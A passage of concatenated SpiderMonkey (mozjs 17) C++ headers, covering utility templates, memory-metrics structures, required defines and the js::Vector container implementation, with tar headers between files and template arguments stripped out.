typedef T Referent; explicit MoveRef(T &t) : pointer(&t) { } T &operator*() const { return *pointer; } T *operator->() const { return pointer; } operator T& () const { return *pointer; } private: T *pointer; }; template MoveRef Move(T &t) { return MoveRef(t); } template MoveRef Move(const T &t) { return MoveRef(const_cast(t)); } /* Useful for implementing containers that assert non-reentrancy */ class ReentrancyGuard { /* ReentrancyGuard is not copyable. */ ReentrancyGuard(const ReentrancyGuard &); void operator=(const ReentrancyGuard &); #ifdef DEBUG bool &entered; #endif public: template #ifdef DEBUG ReentrancyGuard(T &obj) : entered(obj.entered) #else ReentrancyGuard(T &/*obj*/) #endif { #ifdef DEBUG JS_ASSERT(!entered); entered = true; #endif } ~ReentrancyGuard() { #ifdef DEBUG entered = false; #endif } }; /* * Round x up to the nearest power of 2. This function assumes that the most * significant bit of x is not set, which would lead to overflow. */ JS_ALWAYS_INLINE size_t RoundUpPow2(size_t x) { return size_t(1) << JS_CEILING_LOG2W(x); } /* Integral types for all hash functions. */ typedef uint32_t HashNumber; const unsigned HashNumberSizeBits = 32; namespace detail { /* * Given a raw hash code, h, return a number that can be used to select a hash * bucket. * * This function aims to produce as uniform an output distribution as possible, * especially in the most significant (leftmost) bits, even though the input * distribution may be highly nonrandom, given the constraints that this must * be deterministic and quick to compute. * * Since the leftmost bits of the result are best, the hash bucket index is * computed by doing ScrambleHashCode(h) / (2^32/N) or the equivalent * right-shift, not ScrambleHashCode(h) % N or the equivalent bit-mask. * * FIXME: OrderedHashTable uses a bit-mask; see bug 775896. */ inline HashNumber ScrambleHashCode(HashNumber h) { /* * Simply returning h would not cause any hash tables to produce wrong * answers. But it can produce pathologically bad performance: The caller * right-shifts the result, keeping only the highest bits. The high bits of * hash codes are very often completely entropy-free. (So are the lowest * bits.) * * So we use Fibonacci hashing, as described in Knuth, The Art of Computer * Programming, 6.4. This mixes all the bits of the input hash code h. * * The value of goldenRatio is taken from the hex * expansion of the golden ratio, which starts 1.9E3779B9.... * This value is especially good if values with consecutive hash codes * are stored in a hash table; see Knuth for details. */ static const HashNumber goldenRatio = 0x9E3779B9U; return h * goldenRatio; } } /* namespace detail */ } /* namespace js */ namespace JS { /* * Methods for poisoning GC heap pointer words and checking for poisoned words. * These are in this file for use in Value methods and so forth. * * If the moving GC hazard analysis is in use and detects a non-rooted stack * pointer to a GC thing, one byte of that pointer is poisoned to refer to an * invalid location. For both 32 bit and 64 bit systems, the fourth byte of the * pointer is overwritten, to reduce the likelihood of accidentally changing * a live integer value. */ inline void PoisonPtr(void *v) { #if defined(JSGC_ROOT_ANALYSIS) && defined(DEBUG) uint8_t *ptr = (uint8_t *) v + 3; *ptr = JS_FREE_PATTERN; #endif } template inline bool IsPoisonedPtr(T *v) { #if defined(JSGC_ROOT_ANALYSIS) && defined(DEBUG) uint32_t mask = uintptr_t(v) & 0xff000000; return mask == uint32_t(JS_FREE_PATTERN << 24); #else return false; #endif } } #endif /* defined(__cplusplus) */ /* * This is SpiderMonkey's equivalent to |nsMallocSizeOfFun|. */ typedef size_t(*JSMallocSizeOfFun)(const void *p); /* sixgill annotation defines */ #ifndef HAVE_STATIC_ANNOTATIONS # define HAVE_STATIC_ANNOTATIONS # ifdef XGILL_PLUGIN # define STATIC_PRECONDITION(COND) __attribute__((precondition(#COND))) # define STATIC_PRECONDITION_ASSUME(COND) __attribute__((precondition_assume(#COND))) # define STATIC_POSTCONDITION(COND) __attribute__((postcondition(#COND))) # define STATIC_POSTCONDITION_ASSUME(COND) __attribute__((postcondition_assume(#COND))) # define STATIC_INVARIANT(COND) __attribute__((invariant(#COND))) # define STATIC_INVARIANT_ASSUME(COND) __attribute__((invariant_assume(#COND))) # define STATIC_PASTE2(X,Y) X ## Y # define STATIC_PASTE1(X,Y) STATIC_PASTE2(X,Y) # define STATIC_ASSERT(COND) \ JS_BEGIN_MACRO \ __attribute__((assert_static(#COND), unused)) \ int STATIC_PASTE1(assert_static_, __COUNTER__); \ JS_END_MACRO # define STATIC_ASSUME(COND) \ JS_BEGIN_MACRO \ __attribute__((assume_static(#COND), unused)) \ int STATIC_PASTE1(assume_static_, __COUNTER__); \ JS_END_MACRO # define STATIC_ASSERT_RUNTIME(COND) \ JS_BEGIN_MACRO \ __attribute__((assert_static_runtime(#COND), unused)) \ int STATIC_PASTE1(assert_static_runtime_, __COUNTER__); \ JS_END_MACRO # else /* XGILL_PLUGIN */ # define STATIC_PRECONDITION(COND) /* nothing */ # define STATIC_PRECONDITION_ASSUME(COND) /* nothing */ # define STATIC_POSTCONDITION(COND) /* nothing */ # define STATIC_POSTCONDITION_ASSUME(COND) /* nothing */ # define STATIC_INVARIANT(COND) /* nothing */ # define STATIC_INVARIANT_ASSUME(COND) /* nothing */ # define STATIC_ASSERT(COND) JS_BEGIN_MACRO /* nothing */ JS_END_MACRO # define STATIC_ASSUME(COND) JS_BEGIN_MACRO /* nothing */ JS_END_MACRO # define STATIC_ASSERT_RUNTIME(COND) JS_BEGIN_MACRO /* nothing */ JS_END_MACRO # endif /* XGILL_PLUGIN */ # define STATIC_SKIP_INFERENCE STATIC_INVARIANT(skip_inference()) #endif /* HAVE_STATIC_ANNOTATIONS */ #endif /* js_utility_h__ */ mozjs17.0.0/js/public/MemoryMetrics.h0000664000175000017500000001536312106270662017452 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=cpp: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef js_MemoryMetrics_h #define js_MemoryMetrics_h /* * These declarations are not within jsapi.h because they are highly likely * to change in the future. Depend on them at your own risk. */ #include #include "jsalloc.h" #include "jspubtd.h" #include "js/Utility.h" #include "js/Vector.h" namespace JS { /* Data for tracking analysis/inference memory usage. */ struct TypeInferenceSizes { size_t scripts; size_t objects; size_t tables; size_t temporary; void add(TypeInferenceSizes &sizes) { this->scripts += sizes.scripts; this->objects += sizes.objects; this->tables += sizes.tables; this->temporary += sizes.temporary; } }; // These measurements relate directly to the JSRuntime, and not to // compartments within it. struct RuntimeSizes { RuntimeSizes() : object(0) , atomsTable(0) , contexts(0) , dtoa(0) , temporary(0) , mjitCode(0) , regexpCode(0) , unusedCodeMemory(0) , stackCommitted(0) , gcMarker(0) , mathCache(0) , scriptFilenames(0) , scriptSources(0) , compartmentObjects(0) {} size_t object; size_t atomsTable; size_t contexts; size_t dtoa; size_t temporary; size_t mjitCode; size_t regexpCode; size_t unusedCodeMemory; size_t stackCommitted; size_t gcMarker; size_t mathCache; size_t scriptFilenames; size_t scriptSources; // This is the exception to the "RuntimeSizes doesn't measure things within // compartments" rule. We combine the sizes of all the JSCompartment // objects into a single measurement because each one is fairly small, and // they're all the same size. size_t compartmentObjects; }; struct CompartmentStats { CompartmentStats() { memset(this, 0, sizeof(*this)); } // These fields can be used by embedders. void *extra1; void *extra2; // If you add a new number, remember to update add() and maybe // gcHeapThingsSize()! size_t gcHeapArenaAdmin; size_t gcHeapUnusedGcThings; size_t gcHeapObjectsNonFunction; size_t gcHeapObjectsFunction; size_t gcHeapStrings; size_t gcHeapShapesTree; size_t gcHeapShapesDict; size_t gcHeapShapesBase; size_t gcHeapScripts; size_t gcHeapTypeObjects; #if JS_HAS_XML_SUPPORT size_t gcHeapXML; #endif size_t objectSlots; size_t objectElements; size_t objectMisc; size_t objectPrivate; size_t stringChars; size_t shapesExtraTreeTables; size_t shapesExtraDictTables; size_t shapesExtraTreeShapeKids; size_t shapesCompartmentTables; size_t scriptData; size_t mjitData; size_t crossCompartmentWrappers; TypeInferenceSizes typeInferenceSizes; // Add cStats's numbers to this object's numbers. void add(CompartmentStats &cStats) { #define ADD(x) this->x += cStats.x ADD(gcHeapArenaAdmin); ADD(gcHeapUnusedGcThings); ADD(gcHeapObjectsNonFunction); ADD(gcHeapObjectsFunction); ADD(gcHeapStrings); ADD(gcHeapShapesTree); ADD(gcHeapShapesDict); ADD(gcHeapShapesBase); ADD(gcHeapScripts); ADD(gcHeapTypeObjects); #if JS_HAS_XML_SUPPORT ADD(gcHeapXML); #endif ADD(objectSlots); ADD(objectElements); ADD(objectMisc); ADD(objectPrivate); ADD(stringChars); ADD(shapesExtraTreeTables); ADD(shapesExtraDictTables); ADD(shapesExtraTreeShapeKids); ADD(shapesCompartmentTables); ADD(scriptData); ADD(mjitData); ADD(crossCompartmentWrappers); #undef ADD typeInferenceSizes.add(cStats.typeInferenceSizes); } // The size of all the live things in the GC heap. size_t gcHeapThingsSize(); }; struct RuntimeStats { RuntimeStats(JSMallocSizeOfFun mallocSizeOf) : runtime() , gcHeapChunkTotal(0) , gcHeapDecommittedArenas(0) , gcHeapUnusedChunks(0) , gcHeapUnusedArenas(0) , gcHeapUnusedGcThings(0) , gcHeapChunkAdmin(0) , gcHeapGcThings(0) , totals() , compartmentStatsVector() , currCompartmentStats(NULL) , mallocSizeOf(mallocSizeOf) {} RuntimeSizes runtime; // If you add a new number, remember to update the constructor! // Here's a useful breakdown of the GC heap. // // - rtStats.gcHeapChunkTotal // - decommitted bytes // - rtStats.gcHeapDecommittedArenas (decommitted arenas in non-empty chunks) // - unused bytes // - rtStats.gcHeapUnusedChunks (empty chunks) // - rtStats.gcHeapUnusedArenas (empty arenas within non-empty chunks) // - rtStats.total.gcHeapUnusedGcThings (empty GC thing slots within non-empty arenas) // - used bytes // - rtStats.gcHeapChunkAdmin // - rtStats.total.gcHeapArenaAdmin // - rtStats.gcHeapGcThings (in-use GC things) // // It's possible that some arenas in empty chunks may be decommitted, but // we don't count those under rtStats.gcHeapDecommittedArenas because (a) // it's rare, and (b) this means that rtStats.gcHeapUnusedChunks is a // multiple of the chunk size, which is good. size_t gcHeapChunkTotal; size_t gcHeapDecommittedArenas; size_t gcHeapUnusedChunks; size_t gcHeapUnusedArenas; size_t gcHeapUnusedGcThings; size_t gcHeapChunkAdmin; size_t gcHeapGcThings; // The sum of all compartment's measurements. CompartmentStats totals; js::Vector compartmentStatsVector; CompartmentStats *currCompartmentStats; JSMallocSizeOfFun mallocSizeOf; virtual void initExtraCompartmentStats(JSCompartment *c, CompartmentStats *cstats) = 0; }; #ifdef JS_THREADSAFE class ObjectPrivateVisitor { public: // Within CollectRuntimeStats, this method is called for each JS object // that has a private slot containing an nsISupports pointer. virtual size_t sizeOfIncludingThis(void *aSupports) = 0; }; extern JS_PUBLIC_API(bool) CollectRuntimeStats(JSRuntime *rt, RuntimeStats *rtStats, ObjectPrivateVisitor *opv); extern JS_PUBLIC_API(int64_t) GetExplicitNonHeapForRuntime(JSRuntime *rt, JSMallocSizeOfFun mallocSizeOf); #endif /* JS_THREADSAFE */ extern JS_PUBLIC_API(size_t) SystemCompartmentCount(const JSRuntime *rt); extern JS_PUBLIC_API(size_t) UserCompartmentCount(const JSRuntime *rt); } // namespace JS #endif // js_MemoryMetrics_h mozjs17.0.0/js/public/RequiredDefines.h0000664000175000017500000000155112124132314017712 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=79: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Various #defines required to build SpiderMonkey. Embedders should add this * file to the start of the command line via -include or a similar mechanism, * or SpiderMonkey public headers may not work correctly. */ #ifndef js_RequiredDefines_h___ #define js_RequiredDefines_h___ /* * The c99 defining the limit macros (UINT32_MAX for example), says: * C++ implementations should define these macros only when __STDC_LIMIT_MACROS * is defined before is included. */ #define __STDC_LIMIT_MACROS #endif /* js_RequiredDefines_h___ */ mozjs17.0.0/js/public/Vector.h0000664000175000017500000006624312106270662016120 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99 ft=cpp: * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jsvector_h_ #define jsvector_h_ #include "mozilla/Attributes.h" #include "TemplateLib.h" #include "Utility.h" /* Silence dire "bugs in previous versions of MSVC have been fixed" warnings */ #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable:4345) #endif namespace js { class TempAllocPolicy; template class Vector; /* * This template class provides a default implementation for vector operations * when the element type is not known to be a POD, as judged by IsPodType. */ template struct VectorImpl { /* Destroys constructed objects in the range [begin, end). */ static inline void destroy(T *begin, T *end) { for (T *p = begin; p != end; ++p) p->~T(); } /* Constructs objects in the uninitialized range [begin, end). */ static inline void initialize(T *begin, T *end) { for (T *p = begin; p != end; ++p) new(p) T(); } /* * Copy-constructs objects in the uninitialized range * [dst, dst+(srcend-srcbeg)) from the range [srcbeg, srcend). */ template static inline void copyConstruct(T *dst, const U *srcbeg, const U *srcend) { for (const U *p = srcbeg; p != srcend; ++p, ++dst) new(dst) T(*p); } /* * Move-constructs objects in the uninitialized range * [dst, dst+(srcend-srcbeg)) from the range [srcbeg, srcend). */ template static inline void moveConstruct(T *dst, const U *srcbeg, const U *srcend) { for (const U *p = srcbeg; p != srcend; ++p, ++dst) new(dst) T(Move(*p)); } /* * Copy-constructs objects in the uninitialized range [dst, dst+n) from the * same object u. */ template static inline void copyConstructN(T *dst, size_t n, const U &u) { for (T *end = dst + n; dst != end; ++dst) new(dst) T(u); } /* * Grows the given buffer to have capacity newcap, preserving the objects * constructed in the range [begin, end) and updating v. Assumes that (1) * newcap has not overflowed, and (2) multiplying newcap by sizeof(T) will * not overflow. */ static inline bool growTo(Vector &v, size_t newcap) { JS_ASSERT(!v.usingInlineStorage()); T *newbuf = reinterpret_cast(v.malloc_(newcap * sizeof(T))); if (!newbuf) return false; for (T *dst = newbuf, *src = v.beginNoCheck(); src != v.endNoCheck(); ++dst, ++src) new(dst) T(Move(*src)); VectorImpl::destroy(v.beginNoCheck(), v.endNoCheck()); v.free_(v.mBegin); v.mBegin = newbuf; /* v.mLength is unchanged. */ v.mCapacity = newcap; return true; } }; /* * This partial template specialization provides a default implementation for * vector operations when the element type is known to be a POD, as judged by * IsPodType. */ template struct VectorImpl { static inline void destroy(T *, T *) {} static inline void initialize(T *begin, T *end) { /* * You would think that memset would be a big win (or even break even) * when we know T is a POD. But currently it's not. This is probably * because |append| tends to be given small ranges and memset requires * a function call that doesn't get inlined. * * memset(begin, 0, sizeof(T) * (end-begin)); */ for (T *p = begin; p != end; ++p) new(p) T(); } template static inline void copyConstruct(T *dst, const U *srcbeg, const U *srcend) { /* * See above memset comment. Also, notice that copyConstruct is * currently templated (T != U), so memcpy won't work without * requiring T == U. * * memcpy(dst, srcbeg, sizeof(T) * (srcend - srcbeg)); */ for (const U *p = srcbeg; p != srcend; ++p, ++dst) *dst = *p; } template static inline void moveConstruct(T *dst, const U *srcbeg, const U *srcend) { copyConstruct(dst, srcbeg, srcend); } static inline void copyConstructN(T *dst, size_t n, const T &t) { for (T *p = dst, *end = dst + n; p != end; ++p) *p = t; } static inline bool growTo(Vector &v, size_t newcap) { JS_ASSERT(!v.usingInlineStorage()); size_t bytes = sizeof(T) * newcap; size_t oldBytes = sizeof(T) * v.mCapacity; T *newbuf = reinterpret_cast(v.realloc_(v.mBegin, oldBytes, bytes)); if (!newbuf) return false; v.mBegin = newbuf; /* v.mLength is unchanged. */ v.mCapacity = newcap; return true; } }; /* * JS-friendly, STL-like container providing a short-lived, dynamic buffer. * Vector calls the constructors/destructors of all elements stored in * its internal buffer, so non-PODs may be safely used. Additionally, * Vector will store the first N elements in-place before resorting to * dynamic allocation. * * T requirements: * - default and copy constructible, assignable, destructible * - operations do not throw * N requirements: * - any value, however, N is clamped to min/max values * AllocPolicy: * - see "Allocation policies" in jsalloc.h (default js::TempAllocPolicy) * * N.B: Vector is not reentrant: T member functions called during Vector member * functions must not call back into the same object. */ template class Vector : private AllocPolicy { typedef typename tl::StaticAssert::result>::result _; /* utilities */ static const bool sElemIsPod = tl::IsPodType::result; typedef VectorImpl Impl; friend struct VectorImpl; bool calculateNewCapacity(size_t curLength, size_t lengthInc, size_t &newCap); bool growStorageBy(size_t lengthInc); bool growHeapStorageBy(size_t lengthInc); bool convertToHeapStorage(size_t lengthInc); template inline bool growByImpl(size_t inc); /* magic constants */ static const int sMaxInlineBytes = 1024; /* compute constants */ /* * Consider element size to be 1 for buffer sizing if there are * 0 inline elements. This allows us to compile when the definition * of the element type is not visible here. * * Explicit specialization is only allowed at namespace scope, so * in order to keep everything here, we use a dummy template * parameter with partial specialization. */ template struct ElemSize { static const size_t result = sizeof(T); }; template struct ElemSize<0, Dummy> { static const size_t result = 1; }; static const size_t sInlineCapacity = tl::Min::result>::result; /* Calculate inline buffer size; avoid 0-sized array. */ static const size_t sInlineBytes = tl::Max<1, sInlineCapacity * ElemSize::result>::result; /* member data */ /* * Pointer to the buffer, be it inline or heap-allocated. Only [mBegin, * mBegin + mLength) hold valid constructed T objects. The range [mBegin + * mLength, mBegin + mCapacity) holds uninitialized memory. The range * [mBegin + mLength, mBegin + mReserved) also holds uninitialized memory * previously allocated by a call to reserve(). */ T *mBegin; size_t mLength; /* Number of elements in the Vector. */ size_t mCapacity; /* Max number of elements storable in the Vector without resizing. */ #ifdef DEBUG size_t mReserved; /* Max elements of reserved or used space in this vector. */ #endif AlignedStorage storage; #ifdef DEBUG friend class ReentrancyGuard; bool entered; #endif Vector(const Vector &) MOZ_DELETE; Vector &operator=(const Vector &) MOZ_DELETE; /* private accessors */ bool usingInlineStorage() const { return mBegin == (T *)storage.addr(); } T *beginNoCheck() const { return mBegin; } T *endNoCheck() { return mBegin + mLength; } const T *endNoCheck() const { return mBegin + mLength; } #ifdef DEBUG size_t reserved() const { JS_ASSERT(mReserved <= mCapacity); JS_ASSERT(mLength <= mReserved); return mReserved; } #endif /* Append operations guaranteed to succeed due to pre-reserved space. */ template void internalAppend(U t); void internalAppendN(const T &t, size_t n); template void internalAppend(const U *begin, size_t length); template void internalAppend(const Vector &other); public: static const size_t sMaxInlineStorage = N; typedef T ElementType; Vector(AllocPolicy = AllocPolicy()); Vector(MoveRef); /* Move constructor. */ Vector &operator=(MoveRef); /* Move assignment. */ ~Vector(); /* accessors */ const AllocPolicy &allocPolicy() const { return *this; } AllocPolicy &allocPolicy() { return *this; } enum { InlineLength = N }; size_t length() const { return mLength; } bool empty() const { return mLength == 0; } size_t capacity() const { return mCapacity; } T *begin() { JS_ASSERT(!entered); return mBegin; } const T *begin() const { JS_ASSERT(!entered); return mBegin; } T *end() { JS_ASSERT(!entered); return mBegin + mLength; } const T *end() const { JS_ASSERT(!entered); return mBegin + mLength; } T &operator[](size_t i) { JS_ASSERT(!entered && i < mLength); return begin()[i]; } const T &operator[](size_t i) const { JS_ASSERT(!entered && i < mLength); return begin()[i]; } T &back() { JS_ASSERT(!entered && !empty()); return *(end() - 1); } const T &back() const { JS_ASSERT(!entered && !empty()); return *(end() - 1); } class Range { friend class Vector; T *cur, *end; Range(T *cur, T *end) : cur(cur), end(end) {} public: Range() {} bool empty() const { return cur == end; } size_t remain() const { return end - cur; } T &front() const { return *cur; } void popFront() { JS_ASSERT(!empty()); ++cur; } T popCopyFront() { JS_ASSERT(!empty()); return *cur++; } }; Range all() { return Range(begin(), end()); } /* mutators */ /* If reserve(length() + N) succeeds, the N next appends are guaranteed to succeed. */ bool reserve(size_t capacity); /* * Destroy elements in the range [end() - incr, end()). Does not deallocate * or unreserve storage for those elements. */ void shrinkBy(size_t incr); /* Grow the vector by incr elements. */ bool growBy(size_t incr); /* Call shrinkBy or growBy based on whether newSize > length(). */ bool resize(size_t newLength); /* Leave new elements as uninitialized memory. */ bool growByUninitialized(size_t incr); bool resizeUninitialized(size_t newLength); /* Shorthand for shrinkBy(length()). */ void clear(); /* Clears and releases any heap-allocated storage. */ void clearAndFree(); /* * Potentially fallible append operations. * * The function templates that take an unspecified type U require a * const T & or a MoveRef. The MoveRef variants move their * operands into the vector, instead of copying them. If they fail, the * operand is left unmoved. */ template bool append(U t); bool appendN(const T &t, size_t n); template bool append(const U *begin, const U *end); template bool append(const U *begin, size_t length); template bool append(const Vector &other); /* * Guaranteed-infallible append operations for use upon vectors whose * memory has been pre-reserved. */ void infallibleAppend(const T &t) { internalAppend(t); } void infallibleAppendN(const T &t, size_t n) { internalAppendN(t, n); } template void infallibleAppend(const U *begin, const U *end) { internalAppend(begin, PointerRangeSize(begin, end)); } template void infallibleAppend(const U *begin, size_t length) { internalAppend(begin, length); } template void infallibleAppend(const Vector &other) { internalAppend(other); } void popBack(); T popCopy(); /* * Transfers ownership of the internal buffer used by Vector to the caller. * After this call, the Vector is empty. Since the returned buffer may need * to be allocated (if the elements are currently stored in-place), the * call can fail, returning NULL. * * N.B. Although a T*, only the range [0, length()) is constructed. */ T *extractRawBuffer(); /* * Transfer ownership of an array of objects into the Vector. * N.B. This call assumes that there are no uninitialized elements in the * passed array. */ void replaceRawBuffer(T *p, size_t length); /* * Places |val| at position |p|, shifting existing elements * from |p| onward one position higher. */ bool insert(T *p, const T &val); /* * Removes the element |t|, which must fall in the bounds [begin, end), * shifting existing elements from |t + 1| onward one position lower. */ void erase(T *t); /* * Measure the size of the Vector's heap-allocated storage. */ size_t sizeOfExcludingThis(JSMallocSizeOfFun mallocSizeOf) const; /* * Like sizeOfExcludingThis, but also measures the size of the Vector * object (which must be heap-allocated) itself. */ size_t sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const; }; /* This does the re-entrancy check plus several other sanity checks. */ #define REENTRANCY_GUARD_ET_AL \ ReentrancyGuard g(*this); \ JS_ASSERT_IF(usingInlineStorage(), mCapacity == sInlineCapacity); \ JS_ASSERT(reserved() <= mCapacity); \ JS_ASSERT(mLength <= reserved()); \ JS_ASSERT(mLength <= mCapacity) /* Vector Implementation */ template JS_ALWAYS_INLINE Vector::Vector(AllocPolicy ap) : AllocPolicy(ap), mBegin((T *)storage.addr()), mLength(0), mCapacity(sInlineCapacity) #ifdef DEBUG , mReserved(0), entered(false) #endif {} /* Move constructor. */ template JS_ALWAYS_INLINE Vector::Vector(MoveRef rhs) : AllocPolicy(rhs) { mLength = rhs->mLength; mCapacity = rhs->mCapacity; #ifdef DEBUG mReserved = rhs->mReserved; #endif if (rhs->usingInlineStorage()) { /* We can't move the buffer over in this case, so copy elements. */ mBegin = (T *)storage.addr(); Impl::moveConstruct(mBegin, rhs->beginNoCheck(), rhs->endNoCheck()); /* * Leave rhs's mLength, mBegin, mCapacity, and mReserved as they are. * The elements in its in-line storage still need to be destroyed. */ } else { /* * Take src's buffer, and turn src into an empty vector using * in-line storage. */ mBegin = rhs->mBegin; rhs->mBegin = (T *) rhs->storage.addr(); rhs->mCapacity = sInlineCapacity; rhs->mLength = 0; #ifdef DEBUG rhs->mReserved = 0; #endif } } /* Move assignment. */ template JS_ALWAYS_INLINE Vector & Vector::operator=(MoveRef rhs) { this->~Vector(); new(this) Vector(rhs); return *this; } template JS_ALWAYS_INLINE Vector::~Vector() { REENTRANCY_GUARD_ET_AL; Impl::destroy(beginNoCheck(), endNoCheck()); if (!usingInlineStorage()) this->free_(beginNoCheck()); } /* * Calculate a new capacity that is at least lengthInc greater than * curLength and check for overflow. */ template STATIC_POSTCONDITION(!return || newCap >= curLength + lengthInc) #ifdef DEBUG /* gcc (ARM, x86) compiler bug workaround - See bug 694694 */ JS_NEVER_INLINE bool #else inline bool #endif Vector::calculateNewCapacity(size_t curLength, size_t lengthInc, size_t &newCap) { size_t newMinCap = curLength + lengthInc; /* * Check for overflow in the above addition, below CEILING_LOG2, and later * multiplication by sizeof(T). */ if (newMinCap < curLength || newMinCap & tl::MulOverflowMask<2 * sizeof(T)>::result) { this->reportAllocOverflow(); return false; } /* Round up to next power of 2. */ newCap = RoundUpPow2(newMinCap); /* * Do not allow a buffer large enough that the expression ((char *)end() - * (char *)begin()) overflows ptrdiff_t. See Bug 510319. */ if (newCap & tl::UnsafeRangeSizeMask::result) { this->reportAllocOverflow(); return false; } return true; } /* * This function will grow the current heap capacity to have capacity * (mLength + lengthInc) and fail on OOM or integer overflow. */ template JS_ALWAYS_INLINE bool Vector::growHeapStorageBy(size_t lengthInc) { JS_ASSERT(!usingInlineStorage()); size_t newCap; return calculateNewCapacity(mLength, lengthInc, newCap) && Impl::growTo(*this, newCap); } /* * This function will create a new heap buffer with capacity (mLength + * lengthInc()), move all elements in the inline buffer to this new buffer, * and fail on OOM or integer overflow. */ template inline bool Vector::convertToHeapStorage(size_t lengthInc) { JS_ASSERT(usingInlineStorage()); size_t newCap; if (!calculateNewCapacity(mLength, lengthInc, newCap)) return false; /* Allocate buffer. */ T *newBuf = reinterpret_cast(this->malloc_(newCap * sizeof(T))); if (!newBuf) return false; /* Copy inline elements into heap buffer. */ Impl::moveConstruct(newBuf, beginNoCheck(), endNoCheck()); Impl::destroy(beginNoCheck(), endNoCheck()); /* Switch in heap buffer. */ mBegin = newBuf; /* mLength is unchanged. */ mCapacity = newCap; return true; } template JS_NEVER_INLINE bool Vector::growStorageBy(size_t incr) { JS_ASSERT(mLength + incr > mCapacity); return usingInlineStorage() ? convertToHeapStorage(incr) : growHeapStorageBy(incr); } template inline bool Vector::reserve(size_t request) { REENTRANCY_GUARD_ET_AL; if (request > mCapacity && !growStorageBy(request - mLength)) return false; #ifdef DEBUG if (request > mReserved) mReserved = request; JS_ASSERT(mLength <= mReserved); JS_ASSERT(mReserved <= mCapacity); #endif return true; } template inline void Vector::shrinkBy(size_t incr) { REENTRANCY_GUARD_ET_AL; JS_ASSERT(incr <= mLength); Impl::destroy(endNoCheck() - incr, endNoCheck()); mLength -= incr; } template template JS_ALWAYS_INLINE bool Vector::growByImpl(size_t incr) { REENTRANCY_GUARD_ET_AL; if (incr > mCapacity - mLength && !growStorageBy(incr)) return false; JS_ASSERT(mLength + incr <= mCapacity); T *newend = endNoCheck() + incr; if (InitNewElems) Impl::initialize(endNoCheck(), newend); mLength += incr; #ifdef DEBUG if (mLength > mReserved) mReserved = mLength; #endif return true; } template JS_ALWAYS_INLINE bool Vector::growBy(size_t incr) { return growByImpl(incr); } template JS_ALWAYS_INLINE bool Vector::growByUninitialized(size_t incr) { return growByImpl(incr); } template STATIC_POSTCONDITION(!return || ubound(this->begin()) >= newLength) inline bool Vector::resize(size_t newLength) { size_t curLength = mLength; if (newLength > curLength) return growBy(newLength - curLength); shrinkBy(curLength - newLength); return true; } template JS_ALWAYS_INLINE bool Vector::resizeUninitialized(size_t newLength) { size_t curLength = mLength; if (newLength > curLength) return growByUninitialized(newLength - curLength); shrinkBy(curLength - newLength); return true; } template inline void Vector::clear() { REENTRANCY_GUARD_ET_AL; Impl::destroy(beginNoCheck(), endNoCheck()); mLength = 0; } template inline void Vector::clearAndFree() { clear(); if (usingInlineStorage()) return; this->free_(beginNoCheck()); mBegin = (T *)storage.addr(); mCapacity = sInlineCapacity; #ifdef DEBUG mReserved = 0; #endif } template template JS_ALWAYS_INLINE bool Vector::append(U t) { REENTRANCY_GUARD_ET_AL; if (mLength == mCapacity && !growStorageBy(1)) return false; #ifdef DEBUG if (mLength + 1 > mReserved) mReserved = mLength + 1; #endif internalAppend(t); return true; } template template JS_ALWAYS_INLINE void Vector::internalAppend(U t) { JS_ASSERT(mLength + 1 <= mReserved); JS_ASSERT(mReserved <= mCapacity); new(endNoCheck()) T(t); ++mLength; } template JS_ALWAYS_INLINE bool Vector::appendN(const T &t, size_t needed) { REENTRANCY_GUARD_ET_AL; if (mLength + needed > mCapacity && !growStorageBy(needed)) return false; #ifdef DEBUG if (mLength + needed > mReserved) mReserved = mLength + needed; #endif internalAppendN(t, needed); return true; } template JS_ALWAYS_INLINE void Vector::internalAppendN(const T &t, size_t needed) { JS_ASSERT(mLength + needed <= mReserved); JS_ASSERT(mReserved <= mCapacity); Impl::copyConstructN(endNoCheck(), needed, t); mLength += needed; } template inline bool Vector::insert(T *p, const T &val) { JS_ASSERT(begin() <= p && p <= end()); size_t pos = p - begin(); JS_ASSERT(pos <= mLength); size_t oldLength = mLength; if (pos == oldLength) return append(val); { T oldBack = back(); if (!append(oldBack)) /* Dup the last element. */ return false; } for (size_t i = oldLength; i > pos; --i) (*this)[i] = (*this)[i - 1]; (*this)[pos] = val; return true; } template inline void Vector::erase(T *it) { JS_ASSERT(begin() <= it && it < end()); while (it + 1 != end()) { *it = *(it + 1); ++it; } popBack(); } template template JS_ALWAYS_INLINE bool Vector::append(const U *insBegin, const U *insEnd) { REENTRANCY_GUARD_ET_AL; size_t needed = PointerRangeSize(insBegin, insEnd); if (mLength + needed > mCapacity && !growStorageBy(needed)) return false; #ifdef DEBUG if (mLength + needed > mReserved) mReserved = mLength + needed; #endif internalAppend(insBegin, needed); return true; } template template JS_ALWAYS_INLINE void Vector::internalAppend(const U *insBegin, size_t length) { JS_ASSERT(mLength + length <= mReserved); JS_ASSERT(mReserved <= mCapacity); Impl::copyConstruct(endNoCheck(), insBegin, insBegin + length); mLength += length; } template template inline bool Vector::append(const Vector &other) { return append(other.begin(), other.end()); } template template inline void Vector::internalAppend(const Vector &other) { internalAppend(other.begin(), other.length()); } template template JS_ALWAYS_INLINE bool Vector::append(const U *insBegin, size_t length) { return this->append(insBegin, insBegin + length); } template JS_ALWAYS_INLINE void Vector::popBack() { REENTRANCY_GUARD_ET_AL; JS_ASSERT(!empty()); --mLength; endNoCheck()->~T(); } template JS_ALWAYS_INLINE T Vector::popCopy() { T ret = back(); popBack(); return ret; } template inline T * Vector::extractRawBuffer() { T *ret; if (usingInlineStorage()) { ret = 